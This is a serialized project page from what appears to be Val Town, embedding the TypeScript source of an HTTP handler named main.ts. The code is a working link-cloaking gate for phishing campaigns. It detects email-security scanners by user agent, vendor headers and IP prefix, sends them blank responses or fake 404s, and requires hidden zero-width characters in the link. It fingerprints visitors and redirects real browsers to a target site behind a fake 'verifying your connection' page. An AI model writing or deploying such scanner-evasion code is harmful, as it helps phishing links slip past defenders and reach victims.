[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_152":153,"_154":155},"routes/_app.x.$handle.$name",{"_11":12,"_13":14,"_15":16,"_18":19,"_17":-7,"_115":-5,"_20":116,"_22":117,"_118":119,"_120":121,"_25":122,"_24":-5,"_123":-5,"_124":-5,"_125":53,"_126":127,"_128":44,"_129":-5,"_130":-5,"_131":132},"routes/_app.x.$handle.$name.branch.$branch.code.$",{"_11":12,"_13":14,"_15":16,"_17":-7,"_18":19,"_20":21,"_22":23,"_24":-7,"_25":26,"_27":-5,"_28":-5,"_29":-5,"_30":-5,"_31":-5},"handle","smourace","name","claude-ace","branchName","main","version","path","","project",{"_33":61,"_13":14,"_45":62,"_63":-5,"_64":53,"_65":66,"_67":66,"_68":-5,"_69":-5,"_70":71,"_72":-5,"_73":53,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":-5,"_81":-5,"_82":-5,"_83":-5,"_84":85,"_86":85,"_87":88,"_89":88,"_90":88,"_91":85,"_92":85,"_93":94,"_95":96,"_97":98,"_99":53},"tree",[56],"file","contents",[32],"upstream","pull","ahead","behind","envVars",{"_33":34,"_13":35,"_36":37,"_38":-5,"_39":40,"_41":42,"_43":44,"_45":46,"_17":47,"_48":49,"_50":51,"_52":53,"_54":-5,"_18":55},"id","f9ba02dc-34b3-11f1-99ed-42b51c65c3df","main.ts","fileId","9c40a6f2-34b2-11f1-9ab6-42b51c65c3df","parentId","branchId","9c3d3f1c-34b2-11f1-9ab6-42b51c65c3df","branchVersion",11,"latest",true,"createdAt",["D",1775808301801],10,"fileType","http","content","const TARGET_URL = \"https://debounce.com\";\n\nconst botUA = [\n \"vade\",\n \"vadesecure\",\n \"proofpoint\",\n \"pphosted\",\n \"cloudmark\",\n \"barracuda\",\n \"mimecast\",\n \"fireeye\",\n \"trellix\",\n \"ironport\",\n \"sophos\",\n \"forcepoint\",\n \"websense\",\n \"symantec\",\n \"messagelabs\",\n \"fortinet\",\n \"fortigate\",\n \"fortimail\",\n \"trendmicro\",\n \"trend micro\",\n \"spamhaus\",\n \"spamexperts\",\n \"mailguard\",\n \"libraesva\",\n \"avanan\",\n \"abnormal\",\n \"bitdefender\",\n \"kaspersky\",\n \"eset\",\n \"mcafee\",\n \"agari\",\n \"area1\",\n \"zerospam\",\n \"hornetsecurity\",\n \"trustwave\",\n \"mailchannels\",\n \"spamtitan\",\n \"microsoft\",\n \"azure\",\n \"office\",\n \"outlook\",\n \"safelinks\",\n \"googlebot\",\n \"google-safety\",\n \"bot\",\n \"crawl\",\n \"spider\",\n \"slurp\",\n \"facebookexternalhit\",\n \"linkedinbot\",\n \"twitterbot\",\n \"whatsapp\",\n \"telegrambot\",\n \"discord\",\n \"curl\",\n \"wget\",\n \"python\",\n \"go-http\",\n \"java/\",\n \"php/\",\n \"ruby\",\n \"httpclient\",\n \"axios\",\n \"node-fetch\",\n \"undici\",\n \"headlesschrome\",\n \"phantomjs\",\n \"selenium\",\n \"puppeteer\",\n \"scanbot\",\n \"urlscan\",\n \"virustotal\",\n];\n\nconst suspiciousHeaders = [\n \"x-ms-useragent\",\n \"x-ms-exchange\",\n \"x-proofpoint\",\n \"x-pp-correlation-id\",\n \"x-barracuda\",\n \"x-mimecast\",\n \"x-fireeye\",\n \"x-cloudmark\",\n \"x-vade\",\n \"x-ironport\",\n \"x-sophos\",\n \"x-forcepoint\",\n \"x-fortinet\",\n \"x-fortimail\",\n \"x-trendmicro\",\n \"x-symantec\",\n \"x-messagelabs\",\n \"x-mailguard\",\n \"x-spamhaus\",\n \"x-avanan\",\n \"x-abnormal\",\n \"x-agari\",\n \"x-hornetsecurity\",\n \"x-zerospam\",\n \"x-trustwave\",\n \"x-atp-redirect\",\n \"x-safe-url\",\n];\n\nconst emailSecurityIPs = [\n \"67.231.\",\n \"148.163.\",\n \"208.86.20\",\n \"78.31.1\",\n \"185.132.\",\n \"208.80.19\",\n \"74.63.\",\n \"207.211.\",\n \"205.139.\",\n \"209.222.\",\n \"64.235.\",\n \"40.92.\",\n \"40.93.\",\n \"40.94.\",\n \"40.107.\",\n \"52.100.\",\n \"52.101.\",\n \"104.47.\",\n \"66.249.\",\n \"72.14.19\",\n \"198.71.\",\n \"184.154.\",\n];\n\nconst datacenterIPRanges = [\n \"52.\",\n \"54.\",\n \"18.\",\n \"35.\",\n \"34.\",\n \"104.196.\",\n \"104.197.\",\n \"104.198.\",\n \"104.199.\",\n \"40.74.\",\n \"40.75.\",\n \"40.76.\",\n \"40.77.\",\n \"40.78.\",\n \"167.99.\",\n \"167.172.\",\n \"178.62.\",\n \"188.166.\",\n \"139.144.\",\n \"172.232.\",\n \"172.233.\",\n \"172.234.\",\n \"95.217.\",\n \"116.202.\",\n \"116.203.\",\n \"135.181.\",\n \"51.75.\",\n \"51.77.\",\n \"51.79.\",\n \"51.89.\",\n \"51.91.\",\n \"45.32.\",\n \"45.63.\",\n \"45.76.\",\n \"45.77.\",\n];\n\nfunction html(body: string, status = 200): Response {\n return new Response(body, {\n status,\n headers: { \"content-type\": \"text/html; charset=utf-8\" },\n });\n}\n\nfunction fakeOk(): Response {\n return new Response(\"\", { status: 200 });\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const ua = req.headers.get(\"user-agent\") || \"Unknown\";\n const uaLower = ua.toLowerCase();\n\n const ip = req.headers.get(\"x-forwarded-for\")?.split(\",\")[0]?.trim() ||\n req.headers.get(\"x-real-ip\") ||\n \"Unknown\";\n\n // --- DATACENTER IP ---\n if (datacenterIPRanges.some((r) => ip.startsWith(r))) {\n return fakeOk();\n }\n\n // --- STATIC FILES ---\n if (/favicon|manifest|\\.ico|\\.png|robots\\.txt/.test(url.pathname)) {\n return new Response(null, { status: 204 });\n }\n\n // --- VERIFY TOKEN ---\n if (url.pathname === \"/verify\") {\n const token = url.searchParams.get(\"t\");\n const ts = url.searchParams.get(\"ts\");\n\n if (token && ts) {\n const elapsed = Date.now() - parseInt(ts);\n if (elapsed < 2000) return fakeOk();\n return Response.redirect(TARGET_URL, 302);\n }\n return fakeOk();\n }\n\n // --- ZWC CHECK ---\n const hasZwc = /[\\u200B-\\u200D\\uFEFF]/.test(decodeURIComponent(url.pathname));\n if (!hasZwc) {\n return html(\n \"

404 Not Found

\",\n 404,\n );\n }\n\n // --- EMAIL SECURITY BOT ---\n if (botUA.some((kw) => uaLower.includes(kw))) return fakeOk();\n if (suspiciousHeaders.some((h) => req.headers.has(h))) return fakeOk();\n if (emailSecurityIPs.some((p) => ip.startsWith(p))) return fakeOk();\n\n // --- FINGERPRINT ---\n const hasAcceptLang = req.headers.has(\"accept-language\");\n const hasAccept = req.headers.get(\"accept\")?.includes(\"text/html\");\n const isMobile = /iphone|ipad|android/.test(uaLower);\n const isDesktop = /windows|macintosh|linux/.test(uaLower);\n const behaviorScore = (!req.headers.has(\"referer\") ? 1 : 0) +\n (!req.headers.has(\"cookie\") ? 1 : 0) +\n (!req.headers.has(\"sec-fetch-mode\") ? 1 : 0) +\n (req.headers.get(\"accept\") === \"*/*\" ? 1 : 0);\n const isBehaviorBot = behaviorScore >= 3 && !req.headers.has(\"sec-ch-ua\");\n const isRealBrowser = uaLower.length >= 35 && hasAcceptLang && hasAccept &&\n (isMobile || isDesktop);\n\n if (!isRealBrowser || isBehaviorBot) return fakeOk();\n\n // --- JS CHALLENGE ---\n const ts = Date.now();\n\n return html(`\n\n\n\nVerifying...\n\n\n

✓

Verifying your connection...

This is an automatic security check

\n\n`);\n}","deleted",false,"label",[35],{"_33":34,"_13":35,"_36":37,"_38":-5,"_39":40,"_41":42,"_43":44,"_45":57,"_17":47,"_48":49,"_50":51,"_52":53,"_54":-5,"_58":59,"_18":60},["D",1775808301801],"children",[],[35],"9c3c6b46-34b2-11f1-9ab6-42b51c65c3df",["D",1775807715521],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","imageUrl","userId","22d4d35d-523b-48da-81db-63dd3086147e","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","019d7662-fdf2-722a-b38f-dff55e4fb4df","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_11":12,"_114":110},"org",{"_11":12,"_108":-5,"_109":110,"_70":71,"_111":112,"_113":53},"branch",{"_17":42,"_13":16,"_33":40,"_100":61,"_101":-5,"_102":-5,"_103":-5,"_104":-5,"_105":-5,"_106":14,"_107":12},"isOwned","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","avatar","https://avatars.githubusercontent.com/u/59419565?v=4","tier","free","canRestrictVals","profileImageUrl","adoptOrgId",{"_33":61,"_13":14,"_45":148,"_63":-5,"_64":53,"_65":66,"_67":66,"_68":-5,"_69":-5,"_70":71,"_72":-5,"_73":53,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":-5,"_81":-5,"_82":-5,"_83":-5,"_84":85,"_86":85,"_87":88,"_89":88,"_90":88,"_91":85,"_92":85,"_93":149,"_95":150,"_97":151,"_99":53},[145],"files",[145],"counts",{"_135":77,"_136":137,"_138":77,"_31":139,"_140":141},[133],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_33":34,"_13":35,"_36":37,"_38":-5,"_39":40,"_41":42,"_43":44,"_45":46,"_17":47,"_48":49,"_50":51,"_52":53,"_54":-5,"_18":134},[35],"pulls","branches",1,"forks",{"_142":77,"_144":77},"connections",{"_142":77,"_143":77},"count","unfilledCount","emptyCount",{"_33":34,"_13":35,"_36":37,"_38":-5,"_39":40,"_41":42,"_43":44,"_45":57,"_17":47,"_48":49,"_50":51,"_52":53,"_54":-5,"_58":146,"_18":147},[],[35],["D",1775807715521],{"_11":12,"_114":110},{"_11":12,"_108":-5,"_109":110,"_70":71,"_111":112,"_113":53},{"_17":42,"_13":16,"_33":40,"_100":61,"_101":-5,"_102":-5,"_103":-5,"_104":-5,"_105":-5,"_106":14,"_107":12},"ctx",{"_93":-5,"_130":185,"_186":187,"_188":189,"_190":53,"_191":53,"_192":53,"_193":44,"_194":-5,"_195":-7,"_196":-7,"_197":77,"_198":53,"_199":53,"_200":-5,"_201":53,"_202":53,"_203":53,"_204":-5},"ENV",{"_156":157,"_158":159,"_160":16,"_161":162,"_163":164,"_165":166,"_167":168,"_169":170,"_171":172,"_173":174,"_175":176,"_177":178,"_179":180,"_181":182,"_183":184},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Code